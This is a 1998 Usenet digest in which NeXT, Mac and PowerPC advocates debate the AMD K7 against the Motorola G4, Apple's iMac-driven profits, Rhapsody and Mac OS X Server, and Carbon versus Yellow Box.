References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <706b8t$ffq$1@the-fly.zip.com.au>
Advanced Integration Designs Aust. (aida@zip.com.au) wrote:
: FYI a 1ghz ppc has already been demoed.
you mean the 1 Million transistor prototype with a subset of the integer
instructions implemented ran at 900+ MHz ??? Is that the "PPC" processor
you are speaking of? C'mon. I'm not saying that I agree with Steve, but
using a proof-of-concept prototype, which needs no debugging or verification
work, and using it as the counter example against a 22 Million transistor
chip which AMD plans to ship, that's a bit ludicrous.
MHz and GHz doesn't mean much, but I have been saying GHz by y2000 for a
good 3 or 4 years now, and now it looks like GHz speed will be reached
by every family in 2000, and some may even exceed it by a bit. :)
: Steve (nospam@nospam!.kom) wrote:
: : On 15 Oct 98 22:20:55 GMT, Jonathan W Hendry
: : <jhendry@shrike.depaul.edu> wrote:
: :
: : >In comp.sys.next.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
: : >
: : >> Motorola made a presentation about the G4 PowerPC at the Microprocessor
: : >> Forum yesterday (Oct. 14) but it hasn't made the news; the first item
: : >> was a brief quote from Henry Knorr at the MacCentral website;
: : >
: : >
: : >In other news, AMD released info on their new K7, which is available
: : >at their website. Among other interesting tidbits, it'll start
: : >at 500 MHz, will use the Alpha slot architecture, and will be
: : >AMD's first chip to support multi-processing. It is apparently
: : >a different architecture from x86, but will run x86 instructions.
: : >
: : >Might not be as fast as the G4, but should make a nice, fast,
: : >and affordable Intel alternative. If Apple ever supports an
: : >OS/X variant on Intel with SMP, a K7 box could be pretty nice.
: :
: : I predict it will be faster than the Mac version of the G4. Before
: : you get all wild and crazy on me, read my signature quote and realize
: : that I know that anything can happen in the future.
: :
: : However, I do base my opinion on several reported "facts" from news
: : releases (bearing in mind again that the "facts" from news releases
: : don't always turn out to be the entire truth).
: :
: : From: http://www.news.com/News/Item/0,4,27484,00.html?st.ne.ni.lh
: :
: : (1) The K7 will initially run at speeds of at least 500 Mhz
: : (first-half of 1999)
: : (2) By 2000 it will run at 1000 Mhz
: : (3) It will run on a 200 Mhz bus initially
: : (4) It may eventually run at bus speeds of 400 Mhz
: : (5) It will support up to 8 MB of L2 cache (that is not a typo)
: :
: : From: http://www.amd.com/products/cpg/k7/pres/pres3.html
: : (this web site has a lot of the processor details)
: :
: : (6) It will have 128 KB of L1 cache
: : (7) It will support 3DNow! instructions
: :
: : From: October, 1998 Maximum PC:
: :
: : (8) AMD claims it will "be the highest performing [x86] processor, in
: : both integer and floating point."
: :
: : From: http://www.eet.com/story/OEG19981014S0029
: :
: : (9) It will have 22 Million transistors
: : (10) Up to 72 separate X86 instructions can be "in flight"
: : either in instruction dispatch or retirement at any one time.
: :
: : Compare these numbers with the very preliminary rumours for the G4 at
: : http://www.macintouch.com:
: :
: : (5) maximum of 2 MB L2 cache
: : (7) AltiVec (probably better than 3DNow!)
: : (9) 10.5 million transistors
: :
: :
: : I'll definitely take a good look at the K7 when I buy a new computer
: : in about a year. Of course, being a Windows advocate, I'm predisposed
: : in that direction anyway ;-)
: :
: :
: : -Steve
: :
: : *The only thing certain about the future is that it hasn't happened yet.*
--
davewang@kagututi.kecl.ntt.co.jp.GARBAGE
All statements are personal opinions
Not speaking for NTT or University of Maryland
Nara, Japan.
From: mcgredo@otter.mbay.net (Donald R. McGregor)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 16 Oct 1998 04:15:00 GMT
Organization: A highly funded yet unoffical government agency
Message-ID: <706h84$nmt$1@supernews.com>
References: <3626A8A1.A166967B@nstar.net>
In article <3626A8A1.A166967B@nstar.net>,
Michael J. Peck <mjpeck@nstar.net> wrote:
>Amid high press coverage of Apple's profitable year, it would appear
>that Apple has managed to pull a lost cause into a surprisingly
>optimistic comeback.
Most excellent work by Apple.
>On a less optimistic note, this places Apple in the grim position of
>having recovered lost ground in the consumer market while continuing to
>hemorrhage from the gaping holes in its higher-margin lines,
Steve has said he wants to turn over the product lines every nine
months or so. So you'd expect a replacement for the G3's coming
up before too long. And I didn't catch "hemorrhage" in the
high end. Consumer sales increased, which drove down overall margins
a bit, but I didn't see a corresponding drop in the low end.
From sales = 2(consumer) + 8(pro) to sales = 4(consumer) + 8(pro).
(No actual numbers were troubled during this simulation.)
>see some pretty agile footwork on Jobs' part if there're to be anything
>but yawns from professional markets.
I think it would be pretty cool to have imac simplicity for servers.
A small business unboxes an OSX machine, sets it up in a back
room, plugs it into the cable modem, and bam--they have a web
server up on the internet with their domain name, ready to
go. Obviously they'd need to have partners (cable companies, phone
companies,ISPs.)
--
Don McGregor | While the above is legally accurate, I did not
mcgredo@mbay.net | volunteer information.
Message-ID: <3626D38B.BD0F9CF3@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
References: <3626A8A1.A166967B@nstar.net> <706ejp$ncd$1@holly.prod.itd.earthlink.net>
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NNTP-Posting-Date: Fri, 16 Oct 1998 01:03:45 EDT
Organization: ISPNews http://ispnews.com
Date: Fri, 16 Oct 1998 00:03:08 -0500
Ziya Oz wrote:
>
> "Michael J. Peck" <mjpeck@nstar.net> wrote:
>
> >Unix is becoming a household name, practically a brand, to the
> >rest of the world.
>
> Oh yeah, my grandmother and the grocer are all on my back to see when they get
> their hands on CLI and compiler tools.
This is Michael's grandmother, typing from his account, and I'll have
you know that I wouldn't give up my Linux computer for anything. I write
Perl scripts when I'm bored and emacs is my favorite editor. So back
off, you young whippersnapper!
Frances
Message-ID: <3626A8A1.A166967B@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Press reports of Apple's profits
Content-Type: text/plain; charset=us-ascii
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Date: Thu, 15 Oct 1998 21:00:01 -0500
NNTP-Posting-Date: Thu, 15 Oct 1998 22:00:43 EDT
Organization: ISPNews http://ispnews.com
Amid high press coverage of Apple's profitable year, it would appear
that Apple has managed to pull a lost cause into a surprisingly
optimistic comeback. Some coverage can be (and likely has been by most)
found here:
http://www.news.com/News/Item/0,4,27592,00.html?st.ne.fd.gif.l
The last comment in the NEWS.COM article entitled "Apple drops despite
big profits" provoked novel reflection for me. The quote runs (with
leading paragraph):
"Analysts said Apple's ability to turn over its inventory and keep costs
down contributed to the better-than-expected results.
"'They had good revenues and good costs, and when you have six inventory
days you drive down costs because stuff rots like fish,' said Schutte."
What has been so powerful for the iMac is the speed with which the
machines sold. In the past, Apple consumer products have languished on
shelves and in shipment, due in part to Apple's spotty marketing,
scattered distribution network, and lack of compelling and
user-comprehendable product lines. The execution on the iMac
introduction has been outstanding.
On a less optimistic note, this places Apple in the grim position of
having recovered lost ground in the consumer market while continuing to
hemorrhage from the gaping holes in its higher-margin lines, as well as
from rapidly-approaching-zero corporate presence. While Apple may have
won an impressive battle against the Packard-Bells and the Compaqs, the
victory will be dimly-remembered come New Year's Day if Apple cannot
walk on water with regard to its enterprise plan. Microsoft itself
spends less and less time bothering with the consumer market, which
partially accounts for the excitement surrounding both the iMac and
MacOS 8.5.
It's said that January will see new product announcements. It had better
see some pretty agile footwork on Jobs' part if there're to be anything
but yawns from professional markets. Personally, I think introduction of
a product for that market which possesses the iMac's potential needs to
be first out of the gate. Just my opinion, but I don't think Rhapsody
alone is going to cut it. The following suggestions are definitely not
new:
* Extremely pervasive OpenGL support, high availability of at least one
excellent, low-cost 3D hardware device. Something RIVA TNT-based would
be a good bet, but it needs to ship *now*. The holiday season will see a
flood of new 3D titles, and graphics professionals who develop games and
multimedia want to see *volume*.
* X Windows support in Rhapsody.
* 366-MHz workstations designed from the ground up to run Rhapsody and,
eventually, MacOS X. PPCP would be wonderful, but it's too late to get
Unix ports ready for next fall, probably.
* Undistracted promotion of Rhapsody as a Unix-class workstation and
server operating environment. Are we going to see Informix, Sybase, and
Oracle ports like Linux now has? We also need to see crushing
price/performance that makes Rhapsody seem fast and economical. SGI's
home page proclaims "It took an army of SGIs to create Antz". Pixar's
next full-length feature needs to be rendered on high-end Apple Rhapsody
boxes (1).
If Apple can pull off something spectacular and mindshare-grabbing,
there could be a smooth transition from the heady iMac-leavened
Christmas season into a solid, early spring.
One more comment: a Microsoft investee recently announced a
POSIX-compliance product for NT 5.0; this product will be a huge boost
for NT, as it goes beyond simple POSIX compliance, providing many other
Unix-integration components, like X Windows support. Microsoft has been
very slow to swallow its pride and walk into the light; let us hope that
Apple is not so foolish. Now would be a good time to pre-empt NT's
dismal shipment prospects; a friend of a friend says that 5.0 is at
least 9 months away, by his estimates.
MJP
(1) If enough early-adopters were excited about Rhapsody's value, Apple
could begin to erase the Unix-phobia that overwhelms its userbase. This,
of course, depends on Apple *wanting* to accomplish this. Time will
tell. Unix is becoming a household name, practically a brand, to the
rest of the world.
From: aida@zip.com.au (Advanced Integration Designs Aust.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 16 Oct 1998 02:33:01 GMT
Organization: Zip Internet Professionals
Message-ID: <706b8t$ffq$1@the-fly.zip.com.au>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu>
FYI a 1ghz ppc has already been demoed.
Steve (nospam@nospam!.kom) wrote:
: On 15 Oct 98 22:20:55 GMT, Jonathan W Hendry
: <jhendry@shrike.depaul.edu> wrote:
:
: >In comp.sys.next.advocacy gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
: >
: >> Motorola made a presentation about the G4 PowerPC at the Microprocessor
: >> Forum yesterday (Oct. 14) but it hasn't made the news; the first item
: >> was a brief quote from Henry Knorr at the MacCentral website;
: >
: >
: >In other news, AMD released info on their new K7, which is available
: >at their website. Among other interesting tidbits, it'll start
: >at 500 MHz, will use the Alpha slot architecture, and will be
: >AMD's first chip to support multi-processing. It is apparently
: >a different architecture from x86, but will run x86 instructions.
: >
: >Might not be as fast as the G4, but should make a nice, fast,
: >and affordable Intel alternative. If Apple ever supports an
: >OS/X variant on Intel with SMP, a K7 box could be pretty nice.
:
: I predict it will be faster than the Mac version of the G4. Before
: you get all wild and crazy on me, read my signature quote and realize
: that I know that anything can happen in the future.
:
: However, I do base my opinion on several reported "facts" from news
: releases (bearing in mind again that the "facts" from news releases
: don't always turn out to be the entire truth).
:
: From: http://www.news.com/News/Item/0,4,27484,00.html?st.ne.ni.lh
:
: (1) The K7 will initially run at speeds of at least 500 Mhz
: (first-half of 1999)
: (2) By 2000 it will run at 1000 Mhz
: (3) It will run on a 200 Mhz bus initially
: (4) It may eventually run at bus speeds of 400 Mhz
: (5) It will support up to 8 MB of L2 cache (that is not a typo)
:
: From: http://www.amd.com/products/cpg/k7/pres/pres3.html
: (this web site has a lot of the processor details)
:
: (6) It will have 128 KB of L1 cache
: (7) It will support 3DNow! instructions
:
: From: October, 1998 Maximum PC:
:
: (8) AMD claims it will "be the highest performing [x86] processor, in
: both integer and floating point."
:
: From: http://www.eet.com/story/OEG19981014S0029
:
: (9) It will have 22 Million transistors
: (10) Up to 72 separate X86 instructions can be "in flight"
: either in instruction dispatch or retirement at any one time.
:
: Compare these numbers with the very preliminary rumours for the G4 at
: http://www.macintouch.com:
:
: (5) maximum of 2 MB L2 cache
: (7) AltiVec (probably better than 3DNow!)
: (9) 10.5 million transistors
:
:
: I'll definitely take a good look at the K7 when I buy a new computer
: in about a year. Of course, being a Windows advocate, I'm predisposed
: in that direction anyway ;-)
:
:
: -Steve
:
: *The only thing certain about the future is that it hasn't happened yet.*
Message-ID: <3626F305.41B09CB2@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net> <706khr$2p7i$1@piglet.cc.uic.edu>
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Date: Fri, 16 Oct 1998 02:17:25 -0500
NNTP-Posting-Date: Fri, 16 Oct 1998 03:18:04 EDT
Organization: ISPNews http://ispnews.com
Anil T Maliyekke wrote:
> No one is going to exit the low-cost market.
Someone's going to have to. RISE, IDT, and several other new companies
are walking in the back door.
> That's going to be the
> major component of the market if everyone's offerings are competitive.
Cyrix is just getting its breath, but its chips will take their toll on
the "low end". AMD is definitely not sticking around. Sanders said that
AMD's chips needed to sell for an average of $100 in 1998 just to break
even, and that they were looking for much better than that in 1999.
Trust me, AMD is looking for more money than the sub-$1,000 market can
afford. 3DNow! was the signal that they intend to be competitive in the
gaming market, and with K7 they're going to sweep Intel along the entire
desktop right up to workstations, or that's the plan, anyway.
As for low-end performance, it looks like the 3D chip manufacturers have
finally conquered the gaming craze and are actually beginning to exceed
demand for new products. In any case, CPU performance for the latest
games is becoming less and less of a factor. When you can run Quake II
at 1600x1200 with a RIVA TNT and a decent CPU, there's not much left but
waiting around for Quake: Arena to up the ante.
> Vendors will get the best price the CPU vendor can offer, if the CPU
> vendor wants to keep that account. However, the K7 will have
> a problem getting into the high end server market.
The K7 isn't intended for servers. That's not AMD's target market.
> There's going to be a
> lot more resistance here to removing Intel CPUs, even with Compaq and
> IBM who both have every reason to want to shake lose of Intel. AMD
> will have to provide the same level of support that Intel does to
> server vendors, and that takes money.
Servers are not going to be based on 32-bit processors for much longer.
PowerPC, Alpha, and IA-64 are going to be the drug of choice in the
low-cost server market, and SPARC and PA-RISC will sustain their markets
at least until 2001.
> They may be able to get into dual
> CPU server and workstation market, but it will take awhile. Large
> systems will take even longer.
Again, K7 is targeted for mid-to-high range desktops and workstations.
That means the market currently occupied solely by 333-450 MHz Pentium
IIs.
> What I would like to see is AMD, NatSemi, and company define a 64 bit
> extension of the x86 architecture and then implement it. They could
> probably get Microsoft's support, which is what really matters.
> That would really screw up Intel and HP's plans with Merced.
Not very likely. If AMD can drive future K7s into the 64-bit market,
which I doubt, it will be the de facto alternative, anyway. If not,
there's little point in speculating.
I think Intel's been dropping pretty clear hints that it intends to grow
the Unix market as much as possible, which means that it wants to be the
premier Unix workstation and server powerhouse. AMD has its work cut out
for it, but it's pretty clear by now that Intel is abandoning the fray
of the consumer market for the most part, leaving the mop-up to the new
upstarts. There's little point, anyway, in chasing fewer and fewer
dollars in Best Buy machines whose patrons don't care what chip they're
running anyway. The Cyrix guy who predicted PC-on-a-chip products within
a short time was probably right.
MJP
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From: jc1@mindspring.com (Jim Conner)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Thu, 15 Oct 1998 22:32:45 -0500
Organization: Motorola
Message-ID: <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net>
References: <705opt$5ms@newsb.netnews.att.com>
In article <705opt$5ms@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> f. 0.2micron, copper process, 83mm * 83 mm die, 10.5 million transistors
> < 8W at 400 MHz.
Regarding the die size, you are perhaps confusing the G4 with Intel chips. ;)
Try 83 mm^2 for size instead.
Jim Conner
--
"Interfacing a Mac Serial Port to RS-232 Lab Equipment"
<http://www.mindspring.com/~jc1/serial/main.html>
Upgrade to Macintosh.
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: Thu, 15 Oct 1998 23:38:14 +0000
Organization: BM
Message-ID: <706ejp$ncd$1@holly.prod.itd.earthlink.net>
References: <3626A8A1.A166967B@nstar.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Unix is becoming a household name, practically a brand, to the
>rest of the world.
Oh yeah, my grandmother and the grocer are all on my back to see when they get
their hands on CLI and compiler tools.
Ziya Oz
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Followup-To: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Date: 16 Oct 1998 05:11:23 GMT
Organization: University of Illinois at Chicago
Message-ID: <706khr$2p7i$1@piglet.cc.uic.edu>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: Steve wrote:
: [cut]
: > I'll definitely take a good look at the K7 when I buy a new computer
: > in about a year. Of course, being a Windows advocate, I'm predisposed
: > in that direction anyway ;-)
: I also think that the K7 will be a very competitive chip, in terms of
: performance; it will almost certainly outrun Intel's IA-32 chips during
: the first year of its lifetime. However, I did see some commentary
: regarding the large die size required for the process; one may have to
: rethink one's thoughts on AMD as the "low-cost alternative". While I
: expect AMD to succeed in its stated objective of pricing its chips well
: below competing chips of comparable performance, with the K7 AMD is
: probably moving into the higher-performance, higher-margin range Intel
: currently occupies, which means that K7 performance is going to come at
: a significant price tag. In view of Cyrix's new offerings, and as Jerry
: Sanders' continues to stress that AMD needs better margins on chips, I
: think that AMD is probably going to exit the low-cost market within the
: next few years.
No one is going to exit the low-cost market. That's going to be the
major component of the market if everyone's offerings are competitive.
Vendors will get the best price the CPU vendor can offer, if the CPU
vendor wants to keep that account. However, the K7 will have
a problem getting into the high end server market. There's going to be a
lot more resistance here to removing Intel CPUs, even with Compaq and
IBM who both have every reason to want to shake lose of Intel. AMD
will have to provide the same level of support that Intel does to
server vendors, and that takes money. They may be able to get into dual
CPU server and workstation market, but it will take awhile. Large
systems will take even longer.
: All in all that's good news. It means that AMD is shedding its image as
: an x86 cloner and becoming a genuine 800-pound gorilla in the x86
: market. Despite the inevitable short-term price increases, it means
: better price/performance value for all of us in the long run.
What I would like to see is AMD, NatSemi, and company define a 64 bit
extension of the x86 architecture and then implement it. They could
probably get Microsoft's support, which is what really matters.
That would really screw up Intel and HP's plans with Merced.
: MJP
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy
Subject: NeXT museum (was Re: NEWS.COM article on CPU marketshare)
Date: 16 Oct 1998 11:43:12 +0200
Organization: The Computer Society at Lund
Message-ID: <7074fg$5ke$1@bartlet.df.lth.se>
References: <361A8410.B34ABC12@ericsson.com> <6vlcf9$ckm$1@gaea.omnigroup.com> <SCOTT.98Oct14140536@slave.doubleu.com> <706215$fim$1@news.apple.com>
NNTP-Posting-User: cb
In article <706215$fim$1@news.apple.com>,
Mark Bessey <mbessey@apple.com> wrote:
>
>----------
>In article <SCOTT.98Oct14140536@slave.doubleu.com>, scott@nospam.doubleu.com
>(Scott Hess) wrote:
>>In article <6vlcf9$ckm$1@gaea.omnigroup.com>,
>> toon@omnigroup.com (Greg Titus) writes:
>> for several years they had (have?) an upstairs hallway full of
>> machines running historic operating system releases.
>>
>>From what I've heard, the offices were cleaned out quite some time ago
>>of memorabilia. No doubt the more interesting machines developed legs
>>and walked away...
>
>Actually the NeXT museum is alive and well down the hall from the Mac OS X
>"Core OS" department (my favorites are the Sun 3 running 0.7, and the NRW
>prototype).
I can obvously only speak for myself, but I beleive that there should be
several NeXT afficionados out there who have never had the chance to see
this museum, but who very much would like to - how difficult would it be
for someone to shoot a little QuickTime video clip of the machines in
question, perhaps with a short narrative as to what each machine is, and
its place in the development of NeXT ... ?
(Whom should we bribe ... ? :)
>
>-Mark
Best regards
// Christian Brunschen
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.newton.misc,comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.bugs,comp.sys.next.hardware
Subject: cmsg cancel <705v4v$mfd$165@newsin-1.starnet.net>
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From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
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From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <gmgraves-0510981119560001@sf-usr1-32-160.dialup.slip.net> <keyes-ya02408000R0510981738490001@news> <gmgraves-0510982055390001@sj-pm4-9-169.dialup.slip.net> <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost> <3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 16 Oct 1998 11:21:39 GMT
Organization: IBM.NET
On Thu, 15 Oct 1998 03:35:48, charles.bouldin@nist.gov (Charles
Bouldin) thought aloud:
> In article <adtF0uM5o.GJA@netcom.com>, adt@netcom.com (Anthony D.
> Tribelli) wrote:
>
> >OK, but I can't help but wonder if Apple will eventually become the
> >dominant UNIX vendor the way they have become the dominant RISC vendor.
> >BSD under a friendly user interface, being able to run powerful UNIX
> >apps/tools alongside shrinkwrapped commercial software, it could be
> >compelling for a big chunk of would-be Linux users.
I wonder if Mac OS X-on-BSD (even if it worked on some intel
configurations) would by itself be of great attraction to current or
future Linux users (w/o Linux support, expensive?). Besides, Linux
seems to be getting 3rd party support across the spectrum at a rate
that might leave little room for Apple to become the _dominant_ Unix
vendor. Unless, of course, Apple can figure out the synergies that
lurk in cooperating with Linux, rather than going its separate ways.
Apple has more to lose in a marketplace dominated by MS and MS-NT (the
alternative future scenario).
> There is an interesting piece on www.mackido.com that is sure to raise the
> hackles of any good linux user, but it contains an interesting notion:
Yeah. :^) It was clearly targeted towards Mac OS users only but the
news spread and it became a topic of discussion over at slashdot.org
and many Linux users were (quite justifiably) incensed by the tone.
Not a good way to gain friends, IMHO.
> Apple should opensource the Carbon APIs that will be used in MacOS X. This
> is NOT the same as the opensource proposal for the entirety of OS X, but
> it would allow the Carbon API's to function in somewhat the same way that
> Gnome and KDE do. It would let Apple cozy up to the linux world without
> sacrificing much of their own sales and it would create a mechanism for
> applications to move more easily between Linux and MacOS X.
Anything that would splinter the focus away from GNOME (ambitious
object model for the Linux kernel) or KDE (currently clouded with
restrictive licencing issues) would do a disservice to whole Linux
movement. Yellow Box could be fitted to run above GNOME, not as a
replacement, and Apple would gain goodwill by participating in GNOME
development. Also, Yellow Box is (supposedly) the future, while
Carbon... eh, wouldn't folks really prefer to get a slimmer, fully
functional Mac OS X without any classic APIs or revisions bloating the
system - I mean, after Carbon has lived up its useful, transitional
life?
Why would anybody want the transitional and yet incomplete Carbon as
the cross-platform API when far more advanced and mature YB could be
chosen instead?
> It's a fine idea, but the flaw is that Apple will almost certainly not do
> it. A pity, as it sound to me like a fine way to make common cause against
> WinNT. However, I wonder about if folks in the free software community
> will see this as a good idea and perhaps provide workalikes for the Carbon
> API's? It would be good for all, because it would also help mac
> applications to flow towards Linux!
Again, why Carbon instead of Yellow Box? As a common cause against
MS-NT? Start writing YB apps that eat into profits of NT (app)
developers and then migrate their customers to Mac OS X and
YB/Linux... out of Gates' reach. Apple could sell Linux support, and
YB-fied FileMaker, AppleWorks, WebObjects, EOF, QTML enhancements,
even PowerPC boxes and other hardware for profit and larger
marketshare.
There are different opinions on what Apple could or should put under
open source label, but I'd really like to see Jobs and Torvalds
shaking hands at MacWorld '99 and Apple taking a new less proprietary
course for the next millenium.
Brgds,
--
taiQ
[this space is intentionally blank]
From: "Web Mayfield" <web@airmail.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS is late
Date: Fri, 16 Oct 1998 06:41:53 +0000
Organization: Airnews.net! at Internet America
Message-ID: <FE7C55DE5ABCFEBB.5AFB02838ABD3140.095ED5AEA6ABAEA1@library-proxy.airnews.net>
References: <6vkvvk$886$1@wbnws01.ne.highway1.com>
<6vlct5$n66$1@nnrp1.dejanews.com> <6vopcb$1p8@news1.panix.com>
<36228820.434A@earthlink.net> <6vvqfl$qfl@shelob.afs.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Fri Oct 16 06:42:16 1998
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
They're just keeping mum about OS X Server because they want everybody's
attention focused on Mac OS 8.5. I wouldn't be surprised to see Rhapsody
released with almost no fanfare. There will probably be more pub about WO4
than Rhapsody or Yellow Box.
----------
The problem with the gene pool is that there's no lifeguard.
----------
In article <6vvqfl$qfl@shelob.afs.com>, "Greg Anderson" <greg@afs.com>
wrote:
>Steve Kellener wrote in message <36228820.434A@earthlink.net>...
>>Any idea how much is OS X Server gonna cost Sal?
>
>No. Nobody knows. Well, maybe a few people inside Apple. But they don't seem
>inclined to share the information as of yet. Hard to understand why it's
>such a big secret.
>
>Greg
>
>
>
From: nospam@nospam!.kom (Steve)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: AMD K7 info Re: Motorola's G4 PowerPC
Date: Fri, 16 Oct 1998 13:41:33 GMT
Organization: The Ohio State University
Message-ID: <36274c6d.4156837@nntp.service.ohio-state.edu>
References: <705opt$5ms@newsb.netnews.att.com> <36267547.0@news.depaul.edu> <36267a3b.39375399@nntp.service.ohio-state.edu> <36268A98.FED2648E@nstar.net> <706khr$2p7i$1@piglet.cc.uic.edu> <3626F305.41B09CB2@nstar.net>
On Fri, 16 Oct 1998 02:17:25 -0500, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
<snip>
>The K7 isn't intended for servers. That's not AMD's target market.
I think you're wrong there. AFAIK they are targeting the low-end of
the server market.
From
http://www.infoworld.com:80/cgi-bin/displayStory.pl?981014.wcamd.htm:
"AMD's K7 will also support multiprocessing capabilities -- a first
for the company -- that will allow it to compete with Intel in the
higher-end workstation and server markets, AMD officials said."
<snip>
-Steve
*The only thing certain about the future is that it hasn't happened yet.*
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X server delays
Date: Fri, 16 Oct 1998 13:50:54 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <707ivu$fq9$1@nnrp1.dejanews.com>
References: <6vhtq2$r5o$1@nnrp1.dejanews.com> <alex-0810981011500001@cs48-149.austin.rr.com> <361D0F2A.22B8@earthlink.net> <alex-0910981100530001@cs48-17.austin.rr.com> <6vssuu$9n2$1@wbnws01.ne.highway1.com> <6vtl94$irm$1@msunews.cl.msu.edu> <alex-1410981457570001@cs48-8.austin.rr.com>
alex@WebIS.net (Alex Kac) wrote:
> No its just a pain to have to browse through things all the time to get to
> files that are well organized.
You only have to do that if you're not familiar with all the flexibility the
OS offers you. Now I can't speak for MOSXS, since I haven't seen it, but
under NeXTSTEP, you can get at files:
-- By browsing for them in the File Viewer, of course.
-- By clicking on folders or files in the File Viewer's shelf.
-- By opening a new File Viewer for whatever folder you want
(cmd-shift-O). This new File Viewer WILL REMAIN OPEN until
you close it. If you log off, the OS remembers you had it
open and opens it again. This is no different in its effect
than MacOS's finder windows. Just open as many as you like,
at whatever folder you like, and they'll be there the next
time you log on -- forever, or until you decide otherwise.
-- With third-party utilities, by placing files and folders
either on the desktop or on docks (the desktop part, at least,
will be standard in MOSX).
So what's the problem? Pick the system that works for you and use it. There's
nothing you can do on a Mac in terms of getting at your files that you can't
do under NeXTSTEP, and NeXTSTEP offers a few additional ways as well. I
suspect that MOSX will offer similar characteristics.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 16 Oct 1998 13:59:50 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <707jgm$8h1@newsb.netnews.att.com>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net>
Originator: gupta@tlctest
Jim Conner <jc1@mindspring.com> wrote:
>In article <705opt$5ms@newsb.netnews.att.com>,
>gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
>>
>> f. 0.2micron, copper process, 83mm * 83 mm die, 10.5 million transistors
>> < 8W at 400 MHz.
>
>Regarding the die size, you are perhaps confusing the G4 with Intel chips. ;)
>
>Try 83 mm^2 for size instead.
>
>Jim Conner
>
You are probably right. However, the UK vnu|net article writes :
Quote : Based on a 0.2 micron copper interconnect technology, the
G4 crams 10.5 million transistors onto a 83 mm x 83 mm die, and
consumes less than 8 watts of power at 400 MHz."
I suppose it is a typo and should read 83 mm x mm.
-arun gupta
